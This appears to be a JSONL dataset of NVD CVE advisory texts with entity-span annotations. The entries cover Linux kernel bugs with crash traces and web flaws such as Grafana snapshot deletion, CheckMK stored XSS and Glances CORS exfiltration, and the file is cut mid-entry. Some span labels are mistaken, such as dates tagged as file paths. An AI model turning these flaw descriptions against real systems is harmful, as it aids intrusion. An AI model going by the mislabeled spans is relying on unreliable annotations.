{"text": "The CustomAppsRestResource list resource in Atlassian Navigator Links before version 3.3.23, from version 4.0.0 before version 4.3.7, from version 5.0.0 before 5.0.1, and from version 5.1.0 before 5.1.1 allows remote attackers to enumerate all linked applications, including those that are restricted or otherwise hidden, through an incorrect authorization check.", "spans": {"ORGANIZATION: Atlassian": [[44, 53]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-4026"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: probes: Fix uprobes for big-endian kernels\n\nThe arm64 uprobes code is broken for big-endian kernels as it doesn't\nconvert the in-memory instruction encoding (which is always\nlittle-endian) into the kernel's native endianness before analyzing and\nsimulating instructions. This may result in a few distinct problems:\n\n* The kernel may may erroneously reject probing an instruction which can\n  safely be probed.\n\n* The kernel may erroneously erroneously permit stepping an\n  instruction out-of-line when that instruction cannot be stepped\n  out-of-line safely.\n\n* The kernel may erroneously simulate instruction incorrectly dur to\n  interpretting the byte-swapped encoding.\n\nThe endianness mismatch isn't caught by the compiler or sparse because:\n\n* The arch_uprobe::{insn,ixol} fields are encoded as arrays of u8, so\n  the compiler and sparse have no idea these contain a little-endian\n  32-bit value. The core uprobes code populates these with a memcpy()\n  which similarly does not handle endianness.\n\n* While the uprobe_opcode_t type is an alias for __le32, both\n  arch_uprobe_analyze_insn() and arch_uprobe_skip_sstep() cast from u8[]\n  to the similarly-named probe_opcode_t, which is an alias for u32.\n  Hence there is no endianness conversion warning.\n\nFix this by changing the arch_uprobe::{insn,ixol} fields to __le32 and\nadding the appropriate __le32_to_cpu() conversions prior to consuming\nthe instruction encoding. The core uprobes copies these fields as opaque\nranges of bytes, and so is unaffected by this change.\n\nAt the same time, remove MAX_UINSN_BYTES and consistently use\nAARCH64_INSN_SIZE for clarity.\n\nTested with the following:\n\n| #include <stdio.h>\n| #include <stdbool.h>\n|\n| #define noinline __attribute__((noinline))\n|\n| static noinline void *adrp_self(void)\n| {\n|         void *addr;\n|\n|         asm volatile(\n|         \"       adrp    %x0, adrp_self\\n\"\n|         \"       add     %x0, %x0, :lo12:adrp_self\\n\"\n|         : \"=r\" (addr));\n| }\n|\n|\n| int main(int argc, char *argv)\n| {\n|         void *ptr = adrp_self();\n|         bool equal = (ptr == adrp_self);\n|\n|         printf(\"adrp_self   => %p\\n\"\n|                \"adrp_self() => %p\\n\"\n|                \"%s\\n\",\n|                adrp_self, ptr, equal ? \"EQUAL\" : \"NOT EQUAL\");\n|\n|         return 0;\n| }\n\n.... where the adrp_self() function was compiled to:\n\n| 00000000004007e0 <adrp_self>:\n|   4007e0:       90000000        adrp    x0, 400000 <__ehdr_start>\n|   4007e4:       911f8000        add     x0, x0, #0x7e0\n|   4007e8:       d65f03c0        ret\n\nBefore this patch, the ADRP is not recognized, and is assumed to be\nsteppable, resulting in corruption of the result:\n\n| # ./adrp-self\n| adrp_self   => 0x4007e0\n| adrp_self() => 0x4007e0\n| EQUAL\n| # echo 'p /root/adrp-self:0x007e0' > /sys/kernel/tracing/uprobe_events\n| # echo 1 > /sys/kernel/tracing/events/uprobes/enable\n| # ./adrp-self\n| adrp_self   => 0x4007e0\n| adrp_self() => 0xffffffffff7e0\n| NOT EQUAL\n\nAfter this patch, the ADRP is correctly recognized and simulated:\n\n| # ./adrp-self\n| adrp_self   => 0x4007e0\n| adrp_self() => 0x4007e0\n| EQUAL\n| #\n| # echo 'p /root/adrp-self:0x007e0' > /sys/kernel/tracing/uprobe_events\n| # echo 1 > /sys/kernel/tracing/events/uprobes/enable\n| # ./adrp-self\n| adrp_self   => 0x4007e0\n| adrp_self() => 0x4007e0\n| EQUAL", "spans": {"FILEPATH: /root/adrp-self": [[2810, 2825], [3173, 3188]], "FILEPATH: /sys/kernel/tracing/uprobe_events": [[2837, 2870], [3200, 3233]], "FILEPATH: /sys/kernel/tracing/events/uprobes/enable": [[2884, 2925], [3247, 3288]], "FILEPATH: stdio.h": [[1735, 1742]], "FILEPATH: stdbool.h": [[1756, 1765]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50194"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: Update cpu_sibling_map when disabling nonboot CPUs\n\nUpdate cpu_sibling_map when disabling nonboot CPUs by defining & calling\nclear_cpu_sibling_map(), otherwise we get such errors on SMT systems:\n\njump label: negative count!\nWARNING: CPU: 6 PID: 45 at kernel/jump_label.c:263 __static_key_slow_dec_cpuslocked+0xec/0x100\nCPU: 6 PID: 45 Comm: cpuhp/6 Not tainted 6.8.0-rc5+ #1340\npc 90000000004c302c ra 90000000004c302c tp 90000001005bc000 sp 90000001005bfd20\na0 000000000000001b a1 900000000224c278 a2 90000001005bfb58 a3 900000000224c280\na4 900000000224c278 a5 90000001005bfb50 a6 0000000000000001 a7 0000000000000001\nt0 ce87a4763eb5234a t1 ce87a4763eb5234a t2 0000000000000000 t3 0000000000000000\nt4 0000000000000006 t5 0000000000000000 t6 0000000000000064 t7 0000000000001964\nt8 000000000009ebf6 u0 9000000001f2a068 s9 0000000000000000 s0 900000000246a2d8\ns1 ffffffffffffffff s2 ffffffffffffffff s3 90000000021518c0 s4 0000000000000040\ns5 9000000002151058 s6 9000000009828e40 s7 00000000000000b4 s8 0000000000000006\n   ra: 90000000004c302c __static_key_slow_dec_cpuslocked+0xec/0x100\n  ERA: 90000000004c302c __static_key_slow_dec_cpuslocked+0xec/0x100\n CRMD: 000000b0 (PLV0 -IE -DA +PG DACF=CC DACM=CC -WE)\n PRMD: 00000004 (PPLV0 +PIE -PWE)\n EUEN: 00000000 (-FPE -SXE -ASXE -BTE)\n ECFG: 00071c1c (LIE=2-4,10-12 VS=7)\nESTAT: 000c0000 [BRK] (IS= ECode=12 EsubCode=0)\n PRID: 0014d000 (Loongson-64bit, Loongson-3A6000-HV)\nCPU: 6 PID: 45 Comm: cpuhp/6 Not tainted 6.8.0-rc5+ #1340\nStack : 0000000000000000 900000000203f258 900000000179afc8 90000001005bc000\n        90000001005bf980 0000000000000000 90000001005bf988 9000000001fe0be0\n        900000000224c280 900000000224c278 90000001005bf8c0 0000000000000001\n        0000000000000001 ce87a4763eb5234a 0000000007f38000 90000001003f8cc0\n        0000000000000000 0000000000000006 0000000000000000 4c206e6f73676e6f\n        6f4c203a656d616e 000000000009ec99 0000000007f38000 0000000000000000\n        900000000214b000 9000000001fe0be0 0000000000000004 0000000000000000\n        0000000000000107 0000000000000009 ffffffffffafdabe 00000000000000b4\n        0000000000000006 90000000004c302c 9000000000224528 00005555939a0c7c\n        00000000000000b0 0000000000000004 0000000000000000 0000000000071c1c\n        ...\nCall Trace:\n[<9000000000224528>] show_stack+0x48/0x1a0\n[<900000000179afc8>] dump_stack_lvl+0x78/0xa0\n[<9000000000263ed0>] __warn+0x90/0x1a0\n[<90000000017419b8>] report_bug+0x1b8/0x280\n[<900000000179c564>] do_bp+0x264/0x420\n[<90000000004c302c>] __static_key_slow_dec_cpuslocked+0xec/0x100\n[<90000000002b4d7c>] sched_cpu_deactivate+0x2fc/0x300\n[<9000000000266498>] cpuhp_invoke_callback+0x178/0x8a0\n[<9000000000267f70>] cpuhp_thread_fun+0xf0/0x240\n[<90000000002a117c>] smpboot_thread_fn+0x1dc/0x2e0\n[<900000000029a720>] kthread+0x140/0x160\n[<9000000000222288>] ret_from_kernel_thread+0xc/0xa4", "spans": {"FILEPATH: jump_label.c": [[338, 350]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26841"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtlwifi: Fix global-out-of-bounds bug in _rtl8812ae_phy_set_txpower_limit()\n\nThere is a global-out-of-bounds reported by KASAN:\n\n  BUG: KASAN: global-out-of-bounds in\n  _rtl8812ae_eq_n_byte.part.0+0x3d/0x84 [rtl8821ae]\n  Read of size 1 at addr ffffffffa0773c43 by task NetworkManager/411\n\n  CPU: 6 PID: 411 Comm: NetworkManager Tainted: G      D\n  6.1.0-rc8+ #144 e15588508517267d37\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009),\n  Call Trace:\n   <TASK>\n   ...\n   kasan_report+0xbb/0x1c0\n   _rtl8812ae_eq_n_byte.part.0+0x3d/0x84 [rtl8821ae]\n   rtl8821ae_phy_bb_config.cold+0x346/0x641 [rtl8821ae]\n   rtl8821ae_hw_init+0x1f5e/0x79b0 [rtl8821ae]\n   ...\n   </TASK>\n\nThe root cause of the problem is that the comparison order of\n\"prate_section\" in _rtl8812ae_phy_set_txpower_limit() is wrong. The\n_rtl8812ae_eq_n_byte() is used to compare the first n bytes of the two\nstrings from tail to head, which causes the problem. In the\n_rtl8812ae_phy_set_txpower_limit(), it was originally intended to meet\nthis requirement by carefully designing the comparison order.\nFor example, \"pregulation\" and \"pbandwidth\" are compared in order of\nlength from small to large, first is 3 and last is 4. However, the\ncomparison order of \"prate_section\" dose not obey such order requirement,\ntherefore when \"prate_section\" is \"HT\", when comparing from tail to head,\nit will lead to access out of bounds in _rtl8812ae_eq_n_byte(). As\nmentioned above, the _rtl8812ae_eq_n_byte() has the same function as\nstrcmp(), so just strcmp() is enough.\n\nFix it by removing _rtl8812ae_eq_n_byte() and use strcmp() barely.\nAlthough it can be fixed by adjusting the comparison order of\n\"prate_section\", this may cause the value of \"rate_section\" to not be\nfrom 0 to 5. In addition, commit \"21e4b0726dc6\" not only moved driver\nfrom staging to regular tree, but also added setting txpower limit\nfunction during the driver config phase, so the problem was introduced\nby this commit.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[475, 479]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50279"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nIB/hfi1: Fix AIP early init panic\n\nAn early failure in hfi1_ipoib_setup_rn() can lead to the following panic:\n\n  BUG: unable to handle kernel NULL pointer dereference at 00000000000001b0\n  PGD 0 P4D 0\n  Oops: 0002 [#1] SMP NOPTI\n  Workqueue: events work_for_cpu_fn\n  RIP: 0010:try_to_grab_pending+0x2b/0x140\n  Code: 1f 44 00 00 41 55 41 54 55 48 89 d5 53 48 89 fb 9c 58 0f 1f 44 00 00 48 89 c2 fa 66 0f 1f 44 00 00 48 89 55 00 40 84 f6 75 77 <f0> 48 0f ba 2b 00 72 09 31 c0 5b 5d 41 5c 41 5d c3 48 89 df e8 6c\n  RSP: 0018:ffffb6b3cf7cfa48 EFLAGS: 00010046\n  RAX: 0000000000000246 RBX: 00000000000001b0 RCX: 0000000000000000\n  RDX: 0000000000000246 RSI: 0000000000000000 RDI: 00000000000001b0\n  RBP: ffffb6b3cf7cfa70 R08: 0000000000000f09 R09: 0000000000000001\n  R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000\n  R13: ffffb6b3cf7cfa90 R14: ffffffff9b2fbfc0 R15: ffff8a4fdf244690\n  FS:  0000000000000000(0000) GS:ffff8a527f400000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00000000000001b0 CR3: 00000017e2410003 CR4: 00000000007706f0\n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  PKRU: 55555554\n  Call Trace:\n   __cancel_work_timer+0x42/0x190\n   ? dev_printk_emit+0x4e/0x70\n   iowait_cancel_work+0x15/0x30 [hfi1]\n   hfi1_ipoib_txreq_deinit+0x5a/0x220 [hfi1]\n   ? dev_err+0x6c/0x90\n   hfi1_ipoib_netdev_dtor+0x15/0x30 [hfi1]\n   hfi1_ipoib_setup_rn+0x10e/0x150 [hfi1]\n   rdma_init_netdev+0x5a/0x80 [ib_core]\n   ? hfi1_ipoib_free_rdma_netdev+0x20/0x20 [hfi1]\n   ipoib_intf_init+0x6c/0x350 [ib_ipoib]\n   ipoib_intf_alloc+0x5c/0xc0 [ib_ipoib]\n   ipoib_add_one+0xbe/0x300 [ib_ipoib]\n   add_client_context+0x12c/0x1a0 [ib_core]\n   enable_device_and_get+0xdc/0x1d0 [ib_core]\n   ib_register_device+0x572/0x6b0 [ib_core]\n   rvt_register_device+0x11b/0x220 [rdmavt]\n   hfi1_register_ib_device+0x6b4/0x770 [hfi1]\n   do_init_one.isra.20+0x3e3/0x680 [hfi1]\n   local_pci_probe+0x41/0x90\n   work_for_cpu_fn+0x16/0x20\n   process_one_work+0x1a7/0x360\n   ? create_worker+0x1a0/0x1a0\n   worker_thread+0x1cf/0x390\n   ? create_worker+0x1a0/0x1a0\n   kthread+0x116/0x130\n   ? kthread_flush_work_fn+0x10/0x10\n   ret_from_fork+0x1f/0x40\n\nThe panic happens in hfi1_ipoib_txreq_deinit() because there is a NULL\nderef when hfi1_ipoib_netdev_dtor() is called in this error case.\n\nhfi1_ipoib_txreq_init() and hfi1_ipoib_rxq_init() are self unwinding so\nfix by adjusting the error paths accordingly.\n\nOther changes:\n- hfi1_ipoib_free_rdma_netdev() is deleted including the free_netdev()\n  since the netdev core code deletes calls free_netdev()\n- The switch to the accelerated entrances is moved to the success path.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[211, 235]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48728"}}
{"text": "Grafana is an open source data visualization platform. In affected versions unauthenticated and authenticated users are able to view the snapshot with the lowest database key by accessing the literal paths: /dashboard/snapshot/:key, or /api/snapshots/:key. If the snapshot \"public_mode\" configuration setting is set to true (vs default of false), unauthenticated users are able to delete the snapshot with the lowest database key by accessing the literal path: /api/snapshots-delete/:deleteKey. Regardless of the snapshot \"public_mode\" setting, authenticated users are able to delete the snapshot with the lowest database key by accessing the literal paths: /api/snapshots/:key, or /api/snapshots-delete/:deleteKey. The combination of deletion and viewing enables a complete walk through all snapshot data while resulting in complete snapshot data loss. This issue has been resolved in versions 8.1.6 and 7.5.11. If for some reason you cannot upgrade you can use a reverse proxy or similar to block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.", "spans": {"FILEPATH: /dashboard/snapshot": [[207, 226], [1083, 1102]], "FILEPATH: /api/snapshots": [[236, 250], [658, 672], [1028, 1042], [1113, 1127]], "FILEPATH: /api/snapshots-delete": [[461, 482], [682, 703], [1049, 1070]], "SYSTEM: Grafana": [[0, 7]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39226"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nDrivers: hv: util: Avoid accessing a ringbuffer not initialized yet\n\nIf the KVP (or VSS) daemon starts before the VMBus channel's ringbuffer is\nfully initialized, we can hit the panic below:\n\nhv_utils: Registering HyperV Utility Driver\nhv_vmbus: registering driver hv_utils\n...\nBUG: kernel NULL pointer dereference, address: 0000000000000000\nCPU: 44 UID: 0 PID: 2552 Comm: hv_kvp_daemon Tainted: G E 6.11.0-rc3+ #1\nRIP: 0010:hv_pkt_iter_first+0x12/0xd0\nCall Trace:\n...\n vmbus_recvpacket\n hv_kvp_onchannelcallback\n vmbus_on_event\n tasklet_action_common\n tasklet_action\n handle_softirqs\n irq_exit_rcu\n sysvec_hyperv_stimer0\n </IRQ>\n <TASK>\n asm_sysvec_hyperv_stimer0\n...\n kvp_register_done\n hvt_op_read\n vfs_read\n ksys_read\n __x64_sys_read\n\nThis can happen because the KVP/VSS channel callback can be invoked\neven before the channel is fully opened:\n1) as soon as hv_kvp_init() -> hvutil_transport_init() creates\n/dev/vmbus/hv_kvp, the kvp daemon can open the device file immediately and\nregister itself to the driver by writing a message KVP_OP_REGISTER1 to the\nfile (which is handled by kvp_on_msg() ->kvp_handle_handshake()) and\nreading the file for the driver's response, which is handled by\nhvt_op_read(), which calls hvt->on_read(), i.e. kvp_register_done().\n\n2) the problem with kvp_register_done() is that it can cause the\nchannel callback to be called even before the channel is fully opened,\nand when the channel callback is starting to run, util_probe()->\nvmbus_open() may have not initialized the ringbuffer yet, so the\ncallback can hit the panic of NULL pointer dereference.\n\nTo reproduce the panic consistently, we can add a \"ssleep(10)\" for KVP in\n__vmbus_open(), just before the first hv_ringbuffer_init(), and then we\nunload and reload the driver hv_utils, and run the daemon manually within\nthe 10 seconds.\n\nFix the panic by reordering the steps in util_probe() so the char dev\nentry used by the KVP or VSS daemon is not created until after\nvmbus_open() has completed. This reordering prevents the race condition\nfrom happening.", "spans": {"FILEPATH: /dev/vmbus/hv_kvp": [[980, 997]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[359, 383], [1629, 1653]], "VULNERABILITY: race condition": [[2083, 2097]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-55916"}}
{"text": "The CheckMK management web console (versions 1.5.0 to 2.0.0) does not sanitise user input in various parameters of the WATO module. This allows an attacker to open a backdoor on the device with HTML content and interpreted by the browser (such as JavaScript or other client-side scripts), the XSS payload will be triggered when the user accesses some specific sections of the application. In the same sense a very dangerous potential way would be when an attacker who has the monitor role (not administrator) manages to get a stored XSS to steal the secretAutomation (for the use of the API in administrator mode) and thus be able to create another administrator user who has high privileges on the CheckMK monitoring web console. Another way is that persistent XSS allows an attacker to modify the displayed content or change the victim's information. Successful exploitation requires access to the web management interface, either with valid credentials or with a hijacked session.", "spans": {"VULNERABILITY: stored XSS": [[526, 536]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-36563"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix memory leak in vhci_write\n\nSyzkaller reports a memory leak as follows:\n====================================\nBUG: memory leak\nunreferenced object 0xffff88810d81ac00 (size 240):\n  [...]\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<ffffffff838733d9>] __alloc_skb+0x1f9/0x270 net/core/skbuff.c:418\n    [<ffffffff833f742f>] alloc_skb include/linux/skbuff.h:1257 [inline]\n    [<ffffffff833f742f>] bt_skb_alloc include/net/bluetooth/bluetooth.h:469 [inline]\n    [<ffffffff833f742f>] vhci_get_user drivers/bluetooth/hci_vhci.c:391 [inline]\n    [<ffffffff833f742f>] vhci_write+0x5f/0x230 drivers/bluetooth/hci_vhci.c:511\n    [<ffffffff815e398d>] call_write_iter include/linux/fs.h:2192 [inline]\n    [<ffffffff815e398d>] new_sync_write fs/read_write.c:491 [inline]\n    [<ffffffff815e398d>] vfs_write+0x42d/0x540 fs/read_write.c:578\n    [<ffffffff815e3cdd>] ksys_write+0x9d/0x160 fs/read_write.c:631\n    [<ffffffff845e0645>] do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n    [<ffffffff845e0645>] do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n    [<ffffffff84600087>] entry_SYSCALL_64_after_hwframe+0x63/0xcd\n====================================\n\nHCI core will uses hci_rx_work() to process frame, which is queued to\nthe hdev->rx_q tail in hci_recv_frame() by HCI driver.\n\nYet the problem is that, HCI core may not free the skb after handling\nACL data packets. To be more specific, when start fragment does not\ncontain the L2CAP length, HCI core just copies skb into conn->rx_skb and\nfinishes frame process in l2cap_recv_acldata(), without freeing the skb,\nwhich triggers the above memory leak.\n\nThis patch solves it by releasing the relative skb, after processing\nthe above case in l2cap_recv_acldata().", "spans": {"FILEPATH: /core/skbuff.c": [[509, 523]], "FILEPATH: /linux/skbuff.h": [[570, 585]], "FILEPATH: /net/bluetooth/bluetooth.h": [[645, 671]], "FILEPATH: /bluetooth/hci_vhci.c": [[731, 752], [820, 841]], "FILEPATH: /linux/fs.h": [[894, 905]], "FILEPATH: /x86/entry/common.c": [[1167, 1186], [1252, 1271]], "FILEPATH: read_write.c": [[963, 975], [1039, 1051], [1106, 1118]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[91, 102], [138, 149], [204, 215], [1814, 1825]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49908"}}
{"text": "Revive Adserver before 5.1.0 is vulnerable to a reflected cross-site scripting (XSS) vulnerability via the publicly accessible afr.php delivery script. While this issue was previously addressed in modern browsers as CVE-2020-8115, some older browsers (e.g., IE10) that do not automatically URL encode parameters were still vulnerable.", "spans": {"CVE_ID: CVE-2020-8115": [[216, 229]], "FILEPATH: afr.php": [[127, 134]], "VULNERABILITY: cross-site scripting": [[58, 78]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-22872"}}
{"text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.", "spans": {"FILEPATH: /memory/disk/network": [[730, 750]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33533"}}
{"text": "A vulnerability has been identified in SINUMERIK Analyse MyCondition (All versions), SINUMERIK Analyze MyPerformance (All versions), SINUMERIK Analyze MyPerformance /OEE-Monitor (All versions), SINUMERIK Analyze MyPerformance /OEE-Tuning (All versions), SINUMERIK Integrate Client 02 (All versions >= V02.00.12 < 02.00.18), SINUMERIK Integrate Client 03 (All versions >= V03.00.12 < 03.00.18), SINUMERIK Integrate Client 04 (V04.00.02 and all versions >= V04.00.15 < 04.00.18), SINUMERIK Integrate for Production 4.1 (All versions < V4.1 SP10 HF3), SINUMERIK Integrate for Production 5.1 (V5.1), SINUMERIK Manage MyMachines (All versions), SINUMERIK Manage MyMachines /Remote (All versions), SINUMERIK Manage MyMachines /Spindel Monitor (All versions), SINUMERIK Manage MyPrograms (All versions), SINUMERIK Manage MyResources /Programs (All versions), SINUMERIK Manage MyResources /Tools (All versions), SINUMERIK Manage MyTools (All versions), SINUMERIK Operate V4.8 (All versions < V4.8 SP8), SINUMERIK Operate V4.93 (All versions < V4.93 HF7), SINUMERIK Operate V4.94 (All versions < V4.94 HF5), SINUMERIK Optimize MyProgramming /NX-Cam Editor (All versions). Due to an error in a third-party dependency the ssl flags used for setting up a TLS connection to a server are overwitten with wrong settings. This results in a missing validation of the server certificate and thus in a possible TLS MITM szenario.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31892"}}
{"text": "Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Print Server). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle One-to-One Fulfillment, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle One-to-One Fulfillment accessible data as well as unauthorized update, insert or delete access to some of Oracle One-to-One Fulfillment accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [62, 68], [277, 283], [425, 431], [628, 634], [741, 747]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2832"}}
{"text": "October is a free, open-source, self-hosted CMS platform based on the Laravel PHP Framework. In October CMS from version 1.0.319 and before version 1.0.469, an authenticated backend user with the cms.manage_pages, cms.manage_layouts, or cms.manage_partials permissions who would normally not be permitted to provide PHP code to be executed by the CMS due to cms.enableSafeMode being enabled is able to write specific Twig code to escape the Twig sandbox and execute arbitrary PHP. This is not a problem for anyone that trusts their users with those permissions to normally write & manage PHP within the CMS by not having cms.enableSafeMode enabled, but would be a problem for anyone relying on cms.enableSafeMode to ensure that users with those permissions in production do not have access to write & execute arbitrary PHP. Issue has been patched in Build 469 (v1.0.469) and v1.1.0.", "spans": {"SYSTEM: PHP": [[78, 81], [316, 319], [476, 479], [588, 591], [819, 822]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15247"}}
{"text": "Artifact Hub is a web-based application that enables finding, installing, and publishing packages and configurations for CNCF projects. During a security audit of Artifact Hub's code base a security researcher identified a bug in which by using symbolic links in certain kinds of repositories loaded into Artifact Hub, it was possible to read internal files. Artifact Hub indexes content from a variety of sources, including git repositories. When processing git based repositories, Artifact Hub clones the repository and, depending on the artifact kind, reads some files from it. During this process, in some cases, no validation was done to check if the file was a symbolic link. This made possible to read arbitrary files in the system, potentially leaking sensitive information. This issue has been resolved in version `1.16.0`. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45823"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt_en: Fix double DMA unmapping for XDP_REDIRECT\n\nRemove the dma_unmap_page_attrs() call in the driver's XDP_REDIRECT\ncode path.  This should have been removed when we let the page pool\nhandle the DMA mapping.  This bug causes the warning:\n\nWARNING: CPU: 7 PID: 59 at drivers/iommu/dma-iommu.c:1198 iommu_dma_unmap_page+0xd5/0x100\nCPU: 7 PID: 59 Comm: ksoftirqd/7 Tainted: G        W          6.8.0-1010-gcp #11-Ubuntu\nHardware name: Dell Inc. PowerEdge R7525/0PYVT1, BIOS 2.15.2 04/02/2024\nRIP: 0010:iommu_dma_unmap_page+0xd5/0x100\nCode: 89 ee 48 89 df e8 cb f2 69 ff 48 83 c4 08 5b 41 5c 41 5d 41 5e 41 5f 5d 31 c0 31 d2 31 c9 31 f6 31 ff 45 31 c0 e9 ab 17 71 00 <0f> 0b 48 83 c4 08 5b 41 5c 41 5d 41 5e 41 5f 5d 31 c0 31 d2 31 c9\nRSP: 0018:ffffab1fc0597a48 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: ffff99ff838280c8 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: ffffab1fc0597a78 R08: 0000000000000002 R09: ffffab1fc0597c1c\nR10: ffffab1fc0597cd3 R11: ffff99ffe375acd8 R12: 00000000e65b9000\nR13: 0000000000000050 R14: 0000000000001000 R15: 0000000000000002\nFS:  0000000000000000(0000) GS:ffff9a06efb80000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000565c34c37210 CR3: 00000005c7e3e000 CR4: 0000000000350ef0\n? show_regs+0x6d/0x80\n? __warn+0x89/0x150\n? iommu_dma_unmap_page+0xd5/0x100\n? report_bug+0x16a/0x190\n? handle_bug+0x51/0xa0\n? exc_invalid_op+0x18/0x80\n? iommu_dma_unmap_page+0xd5/0x100\n? iommu_dma_unmap_page+0x35/0x100\ndma_unmap_page_attrs+0x55/0x220\n? bpf_prog_4d7e87c0d30db711_xdp_dispatcher+0x64/0x9f\nbnxt_rx_xdp+0x237/0x520 [bnxt_en]\nbnxt_rx_pkt+0x640/0xdd0 [bnxt_en]\n__bnxt_poll_work+0x1a1/0x3d0 [bnxt_en]\nbnxt_poll+0xaa/0x1e0 [bnxt_en]\n__napi_poll+0x33/0x1e0\nnet_rx_action+0x18a/0x2f0", "spans": {"FILEPATH: /iommu/dma-iommu.c": [[346, 364]], "FILEPATH: /02/2024": [[553, 561]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Ubuntu": [[483, 489]], "ORGANIZATION: Dell": [[505, 509]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44984"}}
{"text": "Parse Server is an open source backend server. In affected versions the Parse Cloud trigger `beforeFind` is not invoked in certain conditions of `Parse.Query`. This can pose a vulnerability for deployments where the `beforeFind` trigger is used as a security layer to modify the incoming query. The vulnerability has been fixed by refactoring the internal query pipeline for a more concise code structure and implementing a patch to ensure the `beforeFind` trigger is invoked. This fix was introduced in commit `be4c7e23c6` and has been included in releases 6.2.2 and 5.5.5. Users are advised to upgrade. Users unable to upgrade should make use of parse server's security layers to manage access levels with Class-Level Permissions and Object-Level Access Control that should be used instead of custom security layers in Cloud Code triggers.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-41058"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: phy: register phy led_triggers during probe to avoid AB-BA deadlock\n\nThere is an AB-BA deadlock when both LEDS_TRIGGER_NETDEV and\nLED_TRIGGER_PHY are enabled:\n\n[ 1362.049207] [<8054e4b8>] led_trigger_register+0x5c/0x1fc             <-- Trying to get lock \"triggers_list_lock\" via down_write(&triggers_list_lock);\n[ 1362.054536] [<80662830>] phy_led_triggers_register+0xd0/0x234\n[ 1362.060329] [<8065e200>] phy_attach_direct+0x33c/0x40c\n[ 1362.065489] [<80651fc4>] phylink_fwnode_phy_connect+0x15c/0x23c\n[ 1362.071480] [<8066ee18>] mtk_open+0x7c/0xba0\n[ 1362.075849] [<806d714c>] __dev_open+0x280/0x2b0\n[ 1362.080384] [<806d7668>] __dev_change_flags+0x244/0x24c\n[ 1362.085598] [<806d7698>] dev_change_flags+0x28/0x78\n[ 1362.090528] [<807150e4>] dev_ioctl+0x4c0/0x654                       <-- Hold lock \"rtnl_mutex\" by calling rtnl_lock();\n[ 1362.094985] [<80694360>] sock_ioctl+0x2f4/0x4e0\n[ 1362.099567] [<802e9c4c>] 